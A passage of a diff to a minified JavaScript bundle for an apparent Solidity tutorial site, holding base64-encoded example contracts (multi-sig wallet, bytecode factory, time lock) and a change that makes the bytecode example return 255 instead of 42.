0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXR1cm4gKAogICAgICAgICAgICB0cmFuc2FjdGlvbi50bywKICAgICAgICAgICAgdHJhbnNhY3Rpb24udmFsdWUsCiAgICAgICAgICAgIHRyYW5zYWN0aW9uLmRhdGEsCiAgICAgICAgICAgIHRyYW5zYWN0aW9uLmV4ZWN1dGVkLAogICAgICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"TestContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRlc3RDb250cmFjdCB7CiAgICB1aW50MjU2IHB1YmxpYyBpOwoKICAgIGZ1bmN0aW9uIGNhbGxNZSh1aW50MjU2IGopIHB1YmxpYyB7CiAgICAgICAgaSArPSBqOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldERhdGEoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlcyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoImNhbGxNZSh1aW50MjU2KSIsIDEyMyk7CiAgICB9Cn0K"}],_A=`

            Let's create an multi-sig wallet. Here are the specifications.

            The wallet owners can

            • submit a transaction
              • @@ -2426,16 +2426,16 @@ How to swap tokens return abi.encodeWithSignature("callMe(uint256)", 123); } } -`,Lu=({prev:s,next:a})=>r.jsx(u,{version:Eu,title:Qu,description:Tu,html:_u,prev:s,next:a,codes:Uu}),Ou="0.8.24",Pu="Simple Bytecode Contract",$u="Simple example of contract written in bytecode",qu=[{fileName:"Factory.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZhY3RvcnkgewogICAgZXZlbnQgTG9nKGFkZHJlc3MgYWRkcik7CgogICAgLy8gRGVwbG95cyBhIGNvbnRyYWN0IHRoYXQgYWx3YXlzIHJldHVybnMgNDIKICAgIGZ1bmN0aW9uIGRlcGxveSgpIGV4dGVybmFsIHsKICAgICAgICBieXRlcyBtZW1vcnkgYnl0ZWNvZGUgPSBoZXgiNjk2MDJhNjAwMDUyNjAyMDYwMDBmMzYwMDA1MjYwMGE2MDE2ZjMiOwogICAgICAgIGFkZHJlc3MgYWRkcjsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIGNyZWF0ZSh2YWx1ZSwgb2Zmc2V0LCBzaXplKQogICAgICAgICAgICBhZGRyIDo9IGNyZWF0ZSgwLCBhZGQoYnl0ZWNvZGUsIDB4MjApLCAweDEzKQogICAgICAgIH0KICAgICAgICByZXF1aXJlKGFkZHIgIT0gYWRkcmVzcygwKSk7CgogICAgICAgIGVtaXQgTG9nKGFkZHIpOwogICAgfQp9CgppbnRlcmZhY2UgSUNvbnRyYWN0IHsKICAgIGZ1bmN0aW9uIGdldE1lYW5pbmdPZkxpZmUoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwp9CgovLyBodHRwczovL3d3dy5ldm0uY29kZXMvcGxheWdyb3VuZAovKgpSdW4gdGltZSBjb2RlIC0gcmV0dXJuIDQyCjYwMmE2MDAwNTI2MDIwNjAwMGYzCgovLyBTdG9yZSA0MiB0byBtZW1vcnkKbXN0b3JlKHAsIHYpIC0gc3RvcmUgdiBhdCBtZW1vcnkgcCB0byBwICsgMzIKClBVU0gxIDB4MmEKUFVTSDEgMApNU1RPUkUKCi8vIFJldHVybiAzMiBieXRlcyBmcm9tIG1lbW9yeQpyZXR1cm4ocCwgcykgLSBlbmQgZXhlY3V0aW9uIGFuZCByZXR1cm4gZGF0YSBmcm9tIG1lbW9yeSBwIHRvIHAgKyBzCgpQVVNIMSAweDIwClBVU0gxIDAKUkVUVVJOCgpDcmVhdGlvbiBjb2RlIC0gcmV0dXJuIHJ1bnRpbWUgY29kZQo2OTYwMmE2MDAwNTI2MDIwNjAwMGYzNjAwMDUyNjAwYTYwMTZmMwoKLy8gU3RvcmUgcnVuIHRpbWUgY29kZSB0byBtZW1vcnkKUFVTSDEwIDBYNjAyYTYwMDA1MjYwMjA2MDAwZjMKUFVTSDEgMApNU1RPUkUKCi8vIFJldHVybiAxMCBieXRlcyBmcm9tIG1lbW9yeSBzdGFydGluZyBhdCBvZmZzZXQgMjIKUFVTSDEgMHgwYQpQVVNIMSAweDE2ClJFVFVSTgoqLwo="}],sA=`

              Simple example of contract written in bytecode

              +`,LA=({prev:s,next:a})=>r.jsx(A,{version:EA,title:QA,description:TA,html:_A,prev:s,next:a,codes:UA}),OA="0.8.24",PA="Simple Bytecode Contract",$A="Simple example of contract written in bytecode",qA=[{fileName:"Factory.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZhY3RvcnkgewogICAgZXZlbnQgTG9nKGFkZHJlc3MgYWRkcik7CgogICAgLy8gRGVwbG95cyBhIGNvbnRyYWN0IHRoYXQgYWx3YXlzIHJldHVybnMgMjU1CiAgICBmdW5jdGlvbiBkZXBsb3koKSBleHRlcm5hbCB7CiAgICAgICAgYnl0ZXMgbWVtb3J5IGJ5dGVjb2RlID0gaGV4IjY5NjBmZjYwMDA1MjYwMjA2MDAwZjM2MDAwNTI2MDBhNjAxNmYzIjsKICAgICAgICBhZGRyZXNzIGFkZHI7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBjcmVhdGUodmFsdWUsIG9mZnNldCwgc2l6ZSkKICAgICAgICAgICAgYWRkciA6PSBjcmVhdGUoMCwgYWRkKGJ5dGVjb2RlLCAweDIwKSwgMHgxMykKICAgICAgICB9CiAgICAgICAgcmVxdWlyZShhZGRyICE9IGFkZHJlc3MoMCkpOwoKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KfQoKaW50ZXJmYWNlIElDb250cmFjdCB7CiAgICBmdW5jdGlvbiBnZXRWYWx1ZSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7Cn0KCi8vIGh0dHBzOi8vd3d3LmV2bS5jb2Rlcy9wbGF5Z3JvdW5kCi8qClJ1biB0aW1lIGNvZGUgLSByZXR1cm4gMjU1CjYwZmY2MDAwNTI2MDIwNjAwMGYzCgovLyBTdG9yZSAyNTUgdG8gbWVtb3J5Cm1zdG9yZShwLCB2KSAtIHN0b3JlIHYgYXQgbWVtb3J5IHAgdG8gcCArIDMyCgpQVVNIMSAweGZmClBVU0gxIDAKTVNUT1JFCgovLyBSZXR1cm4gMzIgYnl0ZXMgZnJvbSBtZW1vcnkKcmV0dXJuKHAsIHMpIC0gZW5kIGV4ZWN1dGlvbiBhbmQgcmV0dXJuIGRhdGEgZnJvbSBtZW1vcnkgcCB0byBwICsgcwoKUFVTSDEgMHgyMApQVVNIMSAwClJFVFVSTgoKQ3JlYXRpb24gY29kZSAtIHJldHVybiBydW50aW1lIGNvZGUKNjk2MGZmNjAwMDUyNjAyMDYwMDBmMzYwMDA1MjYwMGE2MDE2ZjMKCi8vIFN0b3JlIHJ1biB0aW1lIGNvZGUgdG8gbWVtb3J5ClBVU0gxMCAwWDYwZmY2MDAwNTI2MDIwNjAwMGYzClBVU0gxIDAKTVNUT1JFCgovLyBSZXR1cm4gMTAgYnl0ZXMgZnJvbSBtZW1vcnkgc3RhcnRpbmcgYXQgb2Zmc2V0IDIyClBVU0gxIDB4MGEKUFVTSDEgMHgxNgpSRVRVUk4KKi8K"}],su=`

              Simple example of contract written in bytecode

              // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
 contract Factory {
     event Log(address addr);
 
-    // Deploys a contract that always returns 42
+    // Deploys a contract that always returns 255
     function deploy() external {
-        bytes memory bytecode = hex"69602a60005260206000f3600052600a6016f3";
+        bytes memory bytecode = hex"6960ff60005260206000f3600052600a6016f3";
         address addr;
         assembly {
             // create(value, offset, size)
@@ -2448,18 +2448,18 @@ How to swap tokens
 }
 
 interface IContract {
-    function getMeaningOfLife() external view returns (uint256);
+    function getValue() external view returns (uint256);
 }
 
 // https://www.evm.codes/playground
 /*
-Run time code - return 42
-602a60005260206000f3
+Run time code - return 255
+60ff60005260206000f3
 
-// Store 42 to memory
+// Store 255 to memory
 mstore(p, v) - store v at memory p to p + 32
 
-PUSH1 0x2a
+PUSH1 0xff
 PUSH1 0
 MSTORE
 
@@ -2471,10 +2471,10 @@ PUSH1 0
 RETURN
 
 Creation code - return runtime code
-69602a60005260206000f3600052600a6016f3
+6960ff60005260206000f3600052600a6016f3
 
 // Store run time code to memory
-PUSH10 0X602a60005260206000f3
+PUSH10 0X60ff60005260206000f3
 PUSH1 0
 MSTORE
 
@@ -2483,7 +2483,7 @@ PUSH1 0x0a
 PUSH1 0x16
 RETURN
 */
-
              `,aA=({prev:s,next:a})=>r.jsx(u,{version:Ou,title:Pu,description:$u,html:sA,prev:s,next:a,codes:qu}),nA="0.8.24",lA="Time Lock",pA="Time Lock",eA=[{fileName:"TimeLock.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRpbWVMb2NrIHsKICAgIGVycm9yIE5vdE93bmVyRXJyb3IoKTsKICAgIGVycm9yIEFscmVhZHlRdWV1ZWRFcnJvcihieXRlczMyIHR4SWQpOwogICAgZXJyb3IgVGltZXN0YW1wTm90SW5SYW5nZUVycm9yKHVpbnQyNTYgYmxvY2tUaW1lc3RhbXAsIHVpbnQyNTYgdGltZXN0YW1wKTsKICAgIGVycm9yIE5vdFF1ZXVlZEVycm9yKGJ5dGVzMzIgdHhJZCk7CiAgICBlcnJvciBUaW1lc3RhbXBOb3RQYXNzZWRFcnJvcih1aW50MjU2IGJsb2NrVGltZXN0bWFwLCB1aW50MjU2IHRpbWVzdGFtcCk7CiAgICBlcnJvciBUaW1lc3RhbXBFeHBpcmVkRXJyb3IodWludDI1NiBibG9ja1RpbWVzdGFtcCwgdWludDI1NiBleHBpcmVzQXQpOwogICAgZXJyb3IgVHhGYWlsZWRFcnJvcigpOwoKICAgIGV2ZW50IFF1ZXVlKAogICAgICAgIGJ5dGVzMzIgaW5kZXhlZCB0eElkLAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCB0YXJnZXQsCiAgICAgICAgdWludDI1NiB2YWx1ZSwKICAgICAgICBzdHJpbmcgZnVuYywKICAgICAgICBieXRlcyBkYXRhLAogICAgICAgIHVpbnQyNTYgdGltZXN0YW1wCiAgICApOwogICAgZXZlbnQgRXhlY3V0ZSgKICAgICAgICBieXRlczMyIGluZGV4ZWQgdHhJZCwKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgdGFyZ2V0LAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgc3RyaW5nIGZ1bmMsCiAgICAgICAgYnl0ZXMgZGF0YSwKICAgICAgICB1aW50MjU2IHRpbWVzdGFtcAogICAgKTsKICAgIGV2ZW50IENhbmNlbChieXRlczMyIGluZGV4ZWQgdHhJZCk7CgogICAgdWludDI1NiBwdWJsaWMgY29uc3RhbnQgTUlOX0RFTEFZID0gMTA7IC8vIHNlY29uZHMKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IE1BWF9ERUxBWSA9IDEwMDA7IC8vIHNlY29uZHMKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IEdSQUNFX1BFUklPRCA9IDEwMDA7IC8vIHNlY29uZHMKCiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIC8vIHR4IGlkID0+IHF1ZXVlZAogICAgbWFwcGluZyhieXRlczMyID0+IGJvb2wpIHB1YmxpYyBxdWV1ZWQ7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICBpZiAobXNnLnNlbmRlciAhPSBvd25lcikgewogICAgICAgICAgICByZXZlcnQgTm90T3duZXJFcnJvcigpOwogICAgICAgIH0KICAgICAgICBfOwogICAgfQoKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gZ2V0VHhJZCgKICAgICAgICBhZGRyZXNzIF90YXJnZXQsCiAgICAgICAgdWludDI1NiBfdmFsdWUsCiAgICAgICAgc3RyaW5nIGNhbGxkYXRhIF9mdW5jLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIF9kYXRhLAogICAgICAgIHVpbnQyNTYgX3RpbWVzdGFtcAogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlczMyKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlKF90YXJnZXQsIF92YWx1ZSwgX2Z1bmMsIF9kYXRhLCBfdGltZXN0YW1wKSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAcGFyYW0gX3RhcmdldCBBZGRyZXNzIG9mIGNvbnRyYWN0IG9yIGFjY291bnQgdG8gY2FsbAogICAgICogQHBhcmFtIF92YWx1ZSBBbW91bnQgb2YgRVRIIHRvIHNlbmQKICAgICAqIEBwYXJhbSBfZnVuYyBGdW5jdGlvbiBzaWduYXR1cmUsIGZvciBleGFtcGxlICJmb28oYWRkcmVzcyx1aW50MjU2KSIKICAgICAqIEBwYXJhbSBfZGF0YSBBQkkgZW5jb2RlZCBkYXRhIHNlbmQuCiAgICAgKiBAcGFyYW0gX3RpbWVzdGFtcCBUaW1lc3RhbXAgYWZ0ZXIgd2hpY2ggdGhlIHRyYW5zYWN0aW9uIGNhbiBiZSBleGVjdXRlZC4KICAgICAqLwogICAgZnVuY3Rpb24gcXVldWUoCiAgICAgICAgYWRkcmVzcyBfdGFyZ2V0LAogICAgICAgIHVpbnQyNTYgX3ZhbHVlLAogICAgICAgIHN0cmluZyBjYWxsZGF0YSBfZnVuYywKICAgICAgICBieXRlcyBjYWxsZGF0YSBfZGF0YSwKICAgICAgICB1aW50MjU2IF90aW1lc3RhbXAKICAgICkgZXh0ZXJuYWwgb25seU93bmVyIHJldHVybnMgKGJ5dGVzMzIgdHhJZCkgewogICAgICAgIHR4SWQgPSBnZXRUeElkKF90YXJnZXQsIF92YWx1ZSwgX2Z1bmMsIF9kYXRhLCBfdGltZXN0YW1wKTsKICAgICAgICBpZiAocXVldWVkW3R4SWRdKSB7CiAgICAgICAgICAgIHJldmVydCBBbHJlYWR5UXVldWVkRXJyb3IodHhJZCk7CiAgICAgICAgfQogICAgICAgIC8vIC0tLXwtLS0tLS0tLS0tLS18LS0tLS0tLS0tLS0tLS0tfC0tLS0tLS0KICAgICAgICAvLyAgYmxvY2sgICAgYmxvY2sgKyBtaW4gICAgIGJsb2NrICsgbWF4CiAgICAgICAgaWYgKAogICAgICAgICAgICBfdGltZXN0YW1wIDwgYmxvY2sudGltZXN0YW1wICsgTUlOX0RFTEFZCiAgICAgICAgICAgICAgICB8fCBfdGltZXN0YW1wID4gYmxvY2sudGltZXN0YW1wICsgTUFYX0RFTEFZCiAgICAgICAgKSB7CiAgICAgICAgICAgIHJldmVydCBUaW1lc3RhbXBOb3RJblJhbmdlRXJyb3IoYmxvY2sudGltZXN0YW1wLCBfdGltZXN0YW1wKTsKICAgICAgICB9CgogICAgICAgIHF1ZXVlZFt0eElkXSA9IHRydWU7CgogICAgICAgIGVtaXQgUXVldWUodHhJZCwgX3RhcmdldCwgX3ZhbHVlLCBfZnVuYywgX2RhdGEsIF90aW1lc3RhbXApOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4ZWN1dGUoCiAgICAgICAgYWRkcmVzcyBfdGFyZ2V0LAogICAgICAgIHVpbnQyNTYgX3ZhbHVlLAogICAgICAgIHN0cmluZyBjYWxsZGF0YSBfZnVuYywKICAgICAgICBieXRlcyBjYWxsZGF0YSBfZGF0YSwKICAgICAgICB1aW50MjU2IF90aW1lc3RhbXAKICAgICkgZXh0ZXJuYWwgcGF5YWJsZSBvbmx5T3duZXIgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgYnl0ZXMzMiB0eElkID0gZ2V0VHhJZChfdGFyZ2V0LCBfdmFsdWUsIF9mdW5jLCBfZGF0YSwgX3RpbWVzdGFtcCk7CiAgICAgICAgaWYgKCFxdWV1ZWRbdHhJZF0pIHsKICAgICAgICAgICAgcmV2ZXJ0IE5vdFF1ZXVlZEVycm9yKHR4SWQpOwogICAgICAgIH0KICAgICAgICAvLyAtLS0tfC0tLS0tLS0tLS0tLS0tLS0tLS18LS0tLS0tLQogICAgICAgIC8vICB0aW1lc3RhbXAgICAgdGltZXN0YW1wICsgZ3JhY2UgcGVyaW9kCiAgICAgICAgaWYgKGJsb2NrLnRpbWVzdGFtcCA8IF90aW1lc3RhbXApIHsKICAgICAgICAgICAgcmV2ZXJ0IFRpbWVzdGFtcE5vdFBhc3NlZEVycm9yKGJsb2NrLnRpbWVzdGFtcCwgX3RpbWVzdGFtcCk7CiAgICAgICAgfQogICAgICAgIGlmIChibG9jay50aW1lc3RhbXAgPiBfdGltZXN0YW1wICsgR1JBQ0VfUEVSSU9EKSB7CiAgICAgICAgICAgIHJldmVydCBUaW1lc3RhbXBFeHBpcmVkRXJyb3IoCiAgICAgICAgICAgICAgICBibG9jay50aW1lc3RhbXAsIF90aW1lc3RhbXAgKyBHUkFDRV9QRVJJT0QKICAgICAgICAgICAgKTsKICAgICAgICB9CgogICAgICAgIHF1ZXVlZFt0eElkXSA9IGZhbHNlOwoKICAgICAgICAvLyBwcmVwYXJlIGRhdGEKICAgICAgICBieXRlcyBtZW1vcnkgZGF0YTsKICAgICAgICBpZiAoYnl0ZXMoX2Z1bmMpLmxlbmd0aCA+IDApIHsKICAgICAgICAgICAgLy8gZGF0YSA9IGZ1bmMgc2VsZWN0b3IgKyBfZGF0YQogICAgICAgICAgICBkYXRhID0gYWJpLmVuY29kZVBhY2tlZChieXRlczQoa2VjY2FrMjU2KGJ5dGVzKF9mdW5jKSkpLCBfZGF0YSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy8gY2FsbCBmYWxsYmFjayB3aXRoIGRhdGEKICAgICAgICAgICAgZGF0YSA9IF9kYXRhOwogICAgICAgIH0KCiAgICAgICAgLy8gY2FsbCB0YXJnZXQKICAgICAgICAoYm9vbCBvaywgYnl0ZXMgbWVtb3J5IHJlcykgPSBfdGFyZ2V0LmNhbGx7dmFsdWU6IF92YWx1ZX0oZGF0YSk7CiAgICAgICAgaWYgKCFvaykgewogICAgICAgICAgICByZXZlcnQgVHhGYWlsZWRFcnJvcigpOwogICAgICAgIH0KCiAgICAgICAgZW1pdCBFeGVjdXRlKHR4SWQsIF90YXJnZXQsIF92YWx1ZSwgX2Z1bmMsIF9kYXRhLCBfdGltZXN0YW1wKTsKCiAgICAgICAgcmV0dXJuIHJlczsKICAgIH0KCiAgICBmdW5jdGlvbiBjYW5jZWwoYnl0ZXMzMiBfdHhJZCkgZXh0ZXJuYWwgb25seU93bmVyIHsKICAgICAgICBpZiAoIXF1ZXVlZFtfdHhJZF0pIHsKICAgICAgICAgICAgcmV2ZXJ0IE5vdFF1ZXVlZEVycm9yKF90eElkKTsKICAgICAgICB9CgogICAgICAgIHF1ZXVlZFtfdHhJZF0gPSBmYWxzZTsKCiAgICAgICAgZW1pdCBDYW5jZWwoX3R4SWQpOwogICAgfQp9Cg=="}],cA=`

              TimeLock is a contract that publishes a transaction to be executed in the future. +`,au=({prev:s,next:a})=>r.jsx(A,{version:OA,title:PA,description:$A,html:su,prev:s,next:a,codes:qA}),nu="0.8.24",lu="Time Lock",pu="Time Lock",eu=[{fileName:"TimeLock.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRpbWVMb2NrIHsKICAgIGVycm9yIE5vdE93bmVyRXJyb3IoKTsKICAgIGVycm9yIEFscmVhZHlRdWV1ZWRFcnJvcihieXRlczMyIHR4SWQpOwogICAgZXJyb3IgVGltZXN0YW1wTm90SW5SYW5nZUVycm9yKHVpbnQyNTYgYmxvY2tUaW1lc3RhbXAsIHVpbnQyNTYgdGltZXN0YW1wKTsKICAgIGVycm9yIE5vdFF1ZXVlZEVycm9yKGJ5dGVzMzIgdHhJZCk7CiAgICBlcnJvciBUaW1lc3RhbXBOb3RQYXNzZWRFcnJvcih1aW50MjU2IGJsb2NrVGltZXN0bWFwLCB1aW50MjU2IHRpbWVzdGFtcCk7CiAgICBlcnJvciBUaW1lc3RhbXBFeHBpcmVkRXJyb3IodWludDI1NiBibG9ja1RpbWVzdGFtcCwgdWludDI1NiBleHBpcmVzQXQpOwogICAgZXJyb3IgVHhGYWlsZWRFcnJvcigpOwoKICAgIGV2ZW50IFF1ZXVlKAogICAgICAgIGJ5dGVzMzIgaW5kZXhlZCB0eElkLAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCB0YXJnZXQsCiAgICAgICAgdWludDI1NiB2YWx1ZSwKICAgICAgICBzdHJpbmcgZnVuYywKICAgICAgICBieXRlcyBkYXRhLAogICAgICAgIHVpbnQyNTYgdGltZXN0YW1wCiAgICApOwogICAgZXZlbnQgRXhlY3V0ZSgKICAgICAgICBieXRlczMyIGluZGV4ZWQgdHhJZCwKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgdGFyZ2V0LAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgc3RyaW5nIGZ1bmMsCiAgICAgICAgYnl0ZXMgZGF0YSwKICAgICAgICB1aW50MjU2IHRpbWVzdGFtcAogICAgKTsKICAgIGV2ZW50IENhbmNlbChieXRlczMyIGluZGV4ZWQgdHhJZCk7CgogICAgdWludDI1NiBwdWJsaWMgY29uc3RhbnQgTUlOX0RFTEFZID0gMTA7IC8vIHNlY29uZHMKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IE1BWF9ERUxBWSA9IDEwMDA7IC8vIHNlY29uZHMKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IEdSQUNFX1BFUklPRCA9IDEwMDA7IC8vIHNlY29uZHMKCiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIC8vIHR4IGlkID0+IHF1ZXVlZAogICAgbWFwcGluZyhieXRlczMyID0+IGJvb2wpIHB1YmxpYyBxdWV1ZWQ7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICBpZiAobXNnLnNlbmRlciAhPSBvd25lcikgewogICAgICAgICAgICByZXZlcnQgTm90T3duZXJFcnJvcigpOwogICAgICAgIH0KICAgICAgICBfOwogICAgfQoKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gZ2V0VHhJZCgKICAgICAgICBhZGRyZXNzIF90YXJnZXQsCiAgICAgICAgdWludDI1NiBfdmFsdWUsCiAgICAgICAgc3RyaW5nIGNhbGxkYXRhIF9mdW5jLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIF9kYXRhLAogICAgICAgIHVpbnQyNTYgX3RpbWVzdGFtcAogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlczMyKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlKF90YXJnZXQsIF92YWx1ZSwgX2Z1bmMsIF9kYXRhLCBfdGltZXN0YW1wKSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAcGFyYW0gX3RhcmdldCBBZGRyZXNzIG9mIGNvbnRyYWN0IG9yIGFjY291bnQgdG8gY2FsbAogICAgICogQHBhcmFtIF92YWx1ZSBBbW91bnQgb2YgRVRIIHRvIHNlbmQKICAgICAqIEBwYXJhbSBfZnVuYyBGdW5jdGlvbiBzaWduYXR1cmUsIGZvciBleGFtcGxlICJmb28oYWRkcmVzcyx1aW50MjU2KSIKICAgICAqIEBwYXJhbSBfZGF0YSBBQkkgZW5jb2RlZCBkYXRhIHNlbmQuCiAgICAgKiBAcGFyYW0gX3RpbWVzdGFtcCBUaW1lc3RhbXAgYWZ0ZXIgd2hpY2ggdGhlIHRyYW5zYWN0aW9uIGNhbiBiZSBleGVjdXRlZC4KICAgICAqLwogICAgZnVuY3Rpb24gcXVldWUoCiAgICAgICAgYWRkcmVzcyBfdGFyZ2V0LAogICAgICAgIHVpbnQyNTYgX3ZhbHVlLAogICAgICAgIHN0cmluZyBjYWxsZGF0YSBfZnVuYywKICAgICAgICBieXRlcyBjYWxsZGF0YSBfZGF0YSwKICAgICAgICB1aW50MjU2IF90aW1lc3RhbXAKICAgICkgZXh0ZXJuYWwgb25seU93bmVyIHJldHVybnMgKGJ5dGVzMzIgdHhJZCkgewogICAgICAgIHR4SWQgPSBnZXRUeElkKF90YXJnZXQsIF92YWx1ZSwgX2Z1bmMsIF9kYXRhLCBfdGltZXN0YW1wKTsKICAgICAgICBpZiAocXVldWVkW3R4SWRdKSB7CiAgICAgICAgICAgIHJldmVydCBBbHJlYWR5UXVldWVkRXJyb3IodHhJZCk7CiAgICAgICAgfQogICAgICAgIC8vIC0tLXwtLS0tLS0tLS0tLS18LS0tLS0tLS0tLS0tLS0tfC0tLS0tLS0KICAgICAgICAvLyAgYmxvY2sgICAgYmxvY2sgKyBtaW4gICAgIGJsb2NrICsgbWF4CiAgICAgICAgaWYgKAogICAgICAgICAgICBfdGltZXN0YW1wIDwgYmxvY2sudGltZXN0YW1wICsgTUlOX0RFTEFZCiAgICAgICAgICAgICAgICB8fCBfdGltZXN0YW1wID4gYmxvY2sudGltZXN0YW1wICsgTUFYX0RFTEFZCiAgICAgICAgKSB7CiAgICAgICAgICAgIHJldmVydCBUaW1lc3RhbXBOb3RJblJhbmdlRXJyb3IoYmxvY2sudGltZXN0YW1wLCBfdGltZXN0YW1wKTsKICAgICAgICB9CgogICAgICAgIHF1ZXVlZFt0eElkXSA9IHRydWU7CgogICAgICAgIGVtaXQgUXVldWUodHhJZCwgX3RhcmdldCwgX3ZhbHVlLCBfZnVuYywgX2RhdGEsIF90aW1lc3RhbXApOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4ZWN1dGUoCiAgICAgICAgYWRkcmVzcyBfdGFyZ2V0LAogICAgICAgIHVpbnQyNTYgX3ZhbHVlLAogICAgICAgIHN0cmluZyBjYWxsZGF0YSBfZnVuYywKICAgICAgICBieXRlcyBjYWxsZGF0YSBfZGF0YSwKICAgICAgICB1aW50MjU2IF90aW1lc3RhbXAKICAgICkgZXh0ZXJuYWwgcGF5YWJsZSBvbmx5T3duZXIgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgYnl0ZXMzMiB0eElkID0gZ2V0VHhJZChfdGFyZ2V0LCBfdmFsdWUsIF9mdW5jLCBfZGF0YSwgX3RpbWVzdGFtcCk7CiAgICAgICAgaWYgKCFxdWV1ZWRbdHhJZF0pIHsKICAgICAgICAgICAgcmV2ZXJ0IE5vdFF1ZXVlZEVycm9yKHR4SWQpOwogICAgICAgIH0KICAgICAgICAvLyAtLS0tfC0tLS0tLS0tLS0tLS0tLS0tLS18LS0tLS0tLQogICAgICAgIC8vICB0aW1lc3RhbXAgICAgdGltZXN0YW1wICsgZ3JhY2UgcGVyaW9kCiAgICAgICAgaWYgKGJsb2NrLnRpbWVzdGFtcCA8IF90aW1lc3RhbXApIHsKICAgICAgICAgICAgcmV2ZXJ0IFRpbWVzdGFtcE5vdFBhc3NlZEVycm9yKGJsb2NrLnRpbWVzdGFtcCwgX3RpbWVzdGFtcCk7CiAgICAgICAgfQogICAgICAgIGlmIChibG9jay50aW1lc3RhbXAgPiBfdGltZXN0YW1wICsgR1JBQ0VfUEVSSU9EKSB7CiAgICAgICAgICAgIHJldmVydCBUaW1lc3RhbXBFeHBpcmVkRXJyb3IoCiAgICAgICAgICAgICAgICBibG9jay50aW1lc3RhbXAsIF90aW1lc3RhbXAgKyBHUkFDRV9QRVJJT0QKICAgICAgICAgICAgKTsKICAgICAgICB9CgogICAgICAgIHF1ZXVlZFt0eElkXSA9IGZhbHNlOwoKICAgICAgICAvLyBwcmVwYXJlIGRhdGEKICAgICAgICBieXRlcyBtZW1vcnkgZGF0YTsKICAgICAgICBpZiAoYnl0ZXMoX2Z1bmMpLmxlbmd0aCA+IDApIHsKICAgICAgICAgICAgLy8gZGF0YSA9IGZ1bmMgc2VsZWN0b3IgKyBfZGF0YQogICAgICAgICAgICBkYXRhID0gYWJpLmVuY29kZVBhY2tlZChieXRlczQoa2VjY2FrMjU2KGJ5dGVzKF9mdW5jKSkpLCBfZGF0YSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy8gY2FsbCBmYWxsYmFjayB3aXRoIGRhdGEKICAgICAgICAgICAgZGF0YSA9IF9kYXRhOwogICAgICAgIH0KCiAgICAgICAgLy8gY2FsbCB0YXJnZXQKICAgICAgICAoYm9vbCBvaywgYnl0ZXMgbWVtb3J5IHJlcykgPSBfdGFyZ2V0LmNhbGx7dmFsdWU6IF92YWx1ZX0oZGF0YSk7CiAgICAgICAgaWYgKCFvaykgewogICAgICAgICAgICByZXZlcnQgVHhGYWlsZWRFcnJvcigpOwogICAgICAgIH0KCiAgICAgICAgZW1p